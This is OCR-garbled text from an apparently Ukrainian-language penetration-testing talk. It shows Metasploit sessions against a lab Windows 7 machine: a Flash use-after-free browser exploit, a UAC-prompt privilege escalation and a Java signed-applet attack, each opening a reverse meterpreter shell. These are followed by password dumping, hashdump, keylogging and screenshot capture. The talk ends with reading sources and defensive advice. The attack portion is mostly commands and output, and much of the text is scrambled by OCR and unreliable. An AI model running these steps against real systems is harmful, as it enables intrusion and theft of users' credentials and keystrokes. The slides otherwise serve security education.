Starting interaction with 2...

adobe flash worker byte array uaf - Gathering target information.
adobe flash worker byte array uwaf - Sending HTML response.

adobe flash worker byte array uaf - Request: /flash/ttwHZo/
adobe_ flash worker byte array uaf - Sending HTML... Volumes:
adobe flash worker byte array uaf - Request: /flash/ttwHZo/VypfRd.swf
adobe flash worker byte array uaf - Sending SWF...

Meterpreter session 3 opened (7.7.7.7:443 -= 7.7.7.3:49205) at 2015-05-15 09:359:16 -0400
exploit(adobe flash worker byte array uaf) = sessions -1 3

Service Pack:

User Name:

Service Pack 1

support
C:\ 19.90 GB NTFS
D:\ 7.00 GB NTFS

|Done

[T T T T T @nt




#msfconsole ask (priv. escalation

meterpreter = getuid

Server username: win7\support

meterpreter = getsystem

[-] priv_elevate getsystem: Operation failed: The environment is incorrect.
meterpreter = background @ User Account Control

[*] Backgrounding session 3... Do R et He fslowimg fro "
msf exploit(adobe flash worker byte array uaf) = back c mmrmmkedmtnﬂisgnrﬂ::tzr? .

msf = use explDit?wiﬂdoﬁsflocaffask

m exDlOit(aSk} > set session 3 Program name:  UOSibxD.exe

session == 3 Verified publisher: Unknown

msf exploit(ask) = set payload windows/meterpreter/reverse tcp File origin: Hard drive on this computer
payload == windows/meterpreter/reverse tcp

msf exDlOit(aSk} > set lhost 7.7.7.7 To continue, type an administrator password, and then didk Yes.

lhost == 7.7.7.7

st exploit (sk) > set Tport 444

lport == 444

msf exploit(ask) = exploit m_
. Domain: WINF

1 Started reverse handler on 7.7.7.7:444

] UAC is Enabled, checking level...

] The user will be prompted, wait for them to click 'Ok’

] Uploading UO0SibxD.exe - 73B0Z bytes to the filesystem...

]

]

]

Executing Command!
Sending stage (882688 bytes) to 7.7.7.3
(7.7.7.7:4

Meterpreter session 4 opened 44 -= 7.7.7.3:49206) at 2015-05-15 (09:48:34 -0400

meterpreter = getuid

Server username: win/hroot
meterpreter = getsystem

...got system (via technigue 1).
meterpreter = getuid

Server username: NT AUTHORITY“\SYSTEM




#msfconsole java signed applet

st = use exploit/multi/browser/java signed applet

=3

msf exploit(java_signed applet) > set srvhost 7.7.7.7
srvhost == 7.7.7.7

msf exploit(java signed applet) = set srvport 80 Do you want to run this application?

srvport == 80

msf exploit(java signed applet) > set uripath / _ Name:  75)DcyTOev.Payload

uripath == /

. . . . Publisher: UNKMOWMN
msf exploit(java signed applet) = set payload windows/meterpreter/reverse tcp

payload == windows/meterpreter/reverse tcp Sl b
Tazsixilo;t;]?v?_algned_applet} = set lhost 7.7.7.7 T,

msf exploit(java signed applet) = set lport 443 Risk: This application will run with unrestricted access which may put your computer and personal

1 port == 443 - - information at risk. The information provided is unreliable or unknown so it is recommended not to

, . . , run this application unless you are familiar with its source
msf exploit(java signed applet) = exploit

[*] Exploit running as background job. Hore Information

msf exploit(java signed applet) = Select the box below, then click Run to start the application

% : } S;i;;eaﬁievﬁgii ??gd;e; . gﬂﬁg,ﬁ’? 773443 [w I accept the risk and want to run this application. L::ell
[*] Server started.

[*] 7.7.7.3 java_signed applet - Handling reguest

[*] 7.7.7.3 java signed applet - Sending Siteloader.jar. Waiting for user to click ‘'accept'...

[*] 7.7.7.3 java signed applet - Sending Siteloader.jar. Waiting for user to click ‘'accept'...

[*] Sending stage (882688 bytes) to 7.7.7.3

[*] Meterpreter session 1 opened (7.7.7.7:443 -= 7.7.7.3:459291) at 2015-05-15% 11:09:53 -0400

msf exploit(java signed applet) = sessions

Active sessions

Id Type Information Connection

1 meterpreter x86/win32 win/%\root @ WINY 7.7.7.7:443 -= 7.7.7.3:49291 (7.7.7.3)



#msfconsole postexploit #1

meterpreter = pwd me‘ter‘Dr‘eter“ = cat ie.t}{t
C:\Users
meterpreter > cd "C:\\Tmp" Entry Name : :tng:ff?ciounts.gocgle.comfeervicelogin
meterpreter = 1s ype : AutoLomplete
Listing: C:\Tmp Stored In : Registry

User MName : mcafeemdm

Password : B@DpasslZ3
Mode Size Type Last modified Name Password Strength : Strong
1BE777/ rwxrwxrwy 92672 fil 2015-05-15 10:22:44 -0400 PasswordFox.exe
100777/ rwxrwxrwx 182368 fil  2815-05-15 10:22:50 -0400 SkypelogView.exe| Meterpreter > cat ff.txt
LEOV77/ rwxrwxrwx 90624 fil 2015-05-15 10:22:37 -0400 iepv.exe gﬁ 1 Ind )

ecord Index :

meterpreter = Shell 'Lﬂ.l'eb Slte : https:fﬁngiﬂ.Skype.CDm
Process 2564 created. User MName : testlab.bako
Charnel 4 created. Password : B@DpasslZ3
Microsoft Windows [Version 6.1.7601] meterpreter = cat skype.txt
Copyright (c) 2009 Microsoft Corporation. All rights reserved. (17

Record Number ;40
C:\Tmp=>iepv.exe /stext ie.txt Action Type + Chat L
iepv.exe /stext ie.txt gﬁél$2m;1me : 5/14/2015 4:21:58 PM
C:nTmp=PasswordFox.exe /stext Tf.txt gizrlgamﬁame f oleg.lobodin testlab.bako
PasswordFox.exe /stext ff.txt Durgtign

Chat M
C:nTmp=SkypelLogView.exe /skype.txt CthIDessage
SkypelLogView.exe /skype.txt Filename
C:\Tmp="C
Terminate channel 47 [y/N] vy
meterpreter = download ie.txt Record Number : 44

downloading: ie.txt -= ie.txt Action Type : Chat Message
download leltxt -= le.txt Action Time : 5/14/2015 4:22:12 PM
End Time :
User MName : testlab.bako

| . T [ T P S S [N P SR [



#msfconsole postexploit #2

meterpreter = getuid

Server username: win7%\root
meterpreter > getsystem

...got system (via technigque 1).
meterpreter = getuid

Server username: NT AUTHORITYA\SYSTEM
meterpreter = ps

Process List

FID PPID Name

@ @ [System Process]
4 @ System

172 4064 conhost .axe

280 4 SMSS.axe

356 344 CSrss.oxe

meterpreter = migrate 676
[*] Migrating from 3904 to 676...
[*] Migration completed successtully.

meterpreter = execute -H -f calc.exe
Process 2248 created.
meterpreter = screenshot

meterpreter = hashdump

ghost :501 :aad3b435b51404ecaad3b435b51404ee: 899858312389 T440a3b6ccd/bbEcBfOBd: 1 :
root :500:aad3b435b51404eeaad3b435b51404ee:79F1ch5 0049155 F8a5434e8dabc 75b2: 1
support : 1000 :aad3b435b51404ecaad3bd35b51404ee : 41 2085664 2e036b5b 497 3dBc32d3b6C : & :

meterpreter = keyscan start

Starting the keystrokg sniffer...

Screenshot saved to: /root/NeFvPHxN.jpeqg
meterpreter = keyscan_start

Starting the keystroke sniffer...
meterpreter = arp

ARP cache

v

meterpreter > keyscan_dump
Dumping captured keystrokes...

= Win= r =Return= <Alt= <=[Menu= <=F4= <lWin= rnotepad
turn= <=Ctrl= <=LCtrl= s <lLeft> <lLeft> <left> <left= -
= =Tab= <=Tab=> <=Tab> <Tab> <Tab=> B@DpasslZ23i <=Return=

=Return= my new password is B@Dpassl23 <=Return= =Return= my VISA number is .. <Ret
Back= tmp =Return= <Alt= <=LMenu= <F4= https://gmail.com <Return= mcafeemdm <=RetL

CTAHJIAPT OPTAHI3ATIIT VKPATHIH
HACTAHOBA

WIN7
5/14/2015 12:37 AM

Host Name:
Boot Time:

IP Address: 7.7.74
Machine Domain: SKY
Memory: 4096 MB

METOTH 3AXIICTY B BAHKIBCBKIIT JIATEHOCTI
3BL1IPABILT 1151 VIIPAB.IIHHSI IH®OPMALIITHOK BE3IIEKOKO
(ISO/IEC 27002:2005. MOD) 0OS Version:
Service Pack:

Windows 7
Service Pack 1

Buoanus ogpiviine

B readme.txt - Notepad

Sk Edl Formst View Heo =
EATITICTING my password is BADpassi23 -
H my visa nuber is .... e

User Name: root
Volumes: C:\ 19.90 GB NTFS
D:\ 7.00 GB NTFS

=10l




Ha camocTinHe onpautoBaHHA

Veil-Evasion

{5 Nessus Home

Social-Engineer Toolkit



Ba*k/amBo!

IHCTPYMEHTHU — e /e YacTMHA TeCTiB Ha MPOHUKHEHHA.
He BapToO 3auMKAOBATUCA HA MsT i CKaHepax Bpa3/IMBOCTEMN.
[TigKAt04anUTe MO3OK.

[TMLWITb BAACHI CKPUMTU, CTBOPIOUTE CBOI €KCMN/I0UTMH.

| He pobiTb WKOAM NOAAM, AKI HE MepernMaloTbCA be3neKoto.



Sources #1

7 KpokiB (y nonepeaHi cepii..) slideshare.net/Glok17/7-steps-vrad

 Vlad Styran slides slideshare.net/sapran/presentations

* Nmap guide nmap.org/docs.html

* Google dorks exploit-db.com/google-hacking-database
* Chris Gates slides slideshare.net/chrisgates

* Rob Fuller slides slideshare.net/mubix

* Exploit DB exploit-db.com

* CVE cvedetails.com

* AV evasion veil-framework.com/guidesvideos/

Aobipka TemaTuyHux axepen vulnhub.com/resources


http://www.slideshare.net/Glok17/7-steps-vrad
http://www.slideshare.net/sapran/presentations
http://nmap.org/docs.html
https://www.exploit-db.com/google-hacking-database/
http://www.slideshare.net/chrisgates
http://www.slideshare.net/mubix
http://www.exploit-db.com/
http://www.cvedetails.com/
https://www.veil-framework.com/guidesvideos/
https://www.vulnhub.com/resources

Sources #2

Steven Rambam

“Privacy is Dead - Get Over It” (1.08.10 _HOPE)
“Privacy: A Postmortem”’ (14.07.12 _ HOPE)
“...Taking Anonymity” (19.07.14 _HOPE)
* Kali Linux tools listing http://tools.kali.org/tools-listing
* Metasploit Unleashed offensive-security.com/metasploit-unleashed
* Paula Januszkiewicz videos channelg.msdn.com/Events/Speakers/Paula-Januszkiewicz
* Mark Russinovich videos channelg.msdn.com/Events/Speakers/Mark-Russinovich
* Bjorn Kimminich slides slideshare.net/BjrnKimminich

* Tools from Mark Russinovich technet.microsoft.com/en-us/sysinternals/bb842062.aspx


https://www.youtube.com/watch?v=DaYn_PkrfvQ
youtube.com/watch?v=NObTjstI6f4
youtube.com/watch?v=dNZrq2iK87k
http://tools.kali.org/tools-listing
http://www.offensive-security.com/metasploit-unleashed
https://channel9.msdn.com/Events/Speakers/Paula-Januszkiewicz
https://channel9.msdn.com/Events/Speakers/Mark-Russinovich
http://www.slideshare.net/BjrnKimminich
https://technet.microsoft.com/en-us/sysinternals/bb842062.aspx

/IO ACBKUN QAKTOP

2012 — PoTO NpuHUA BizibAMa po3Kpuan napoAi asiabasm BINC AHrail




/IO ACBKUN QAKTOP

2014 — YemnioHaT CBiTYy 3 pyTH0AY, LEeHTp be3nekun, napoaib Wi-Fi
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/IO ACBKUN QAKTOP

2015 — KaHasn TV5Monde “3acBiTuB” cBOI napoi nig yac iHTepB'to
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/IO ACBKUN QAKTOP

2015 — B ctoxkeTi BBC “3acBiTnan’ napoai 3ani3HMYHOI cucTtemun Batepaoo




Mol Bam pekomMmeHgaulil

1) BygbTe 0b6epekHMMU Ta YBarKHUMM Npu poboTi 3 IT

2) He cunaitb nig 06/1ikoBUM 3anucom admin/root, He BumukanTe UAC (1)

3) BuacHo oHoBAtONTe software Ha cepBepax Ta poboumx CTaHLifAX

4) MepeBipTe Ballli CUCTEMM HA HAsABHICTb BPA3/IMBOCTEM, NPO AKi MLW/1a MOBA

5) x64 OS + BipTyasizauia (Vbox, gemu) + VirusTotal etc = Bxe Kpalue

6) Cuctema 6e3 Java, Flash Ta Adobe Reader? + 77 40 Kapmu

7) He 3a/mwarite BlacHUX CAigiB Ha vy»Kux cuctemax (haposi, 06aikosi 3anucul..)
8) He nycKaiTe abu-Koro 3a cBoi cuctemu (“nodusumucs howmy” mouw,o)

9) TpeHyiTecA AuLle Ha BAACHUX cucTemMax!

AAkyro Bam 3a yBary!



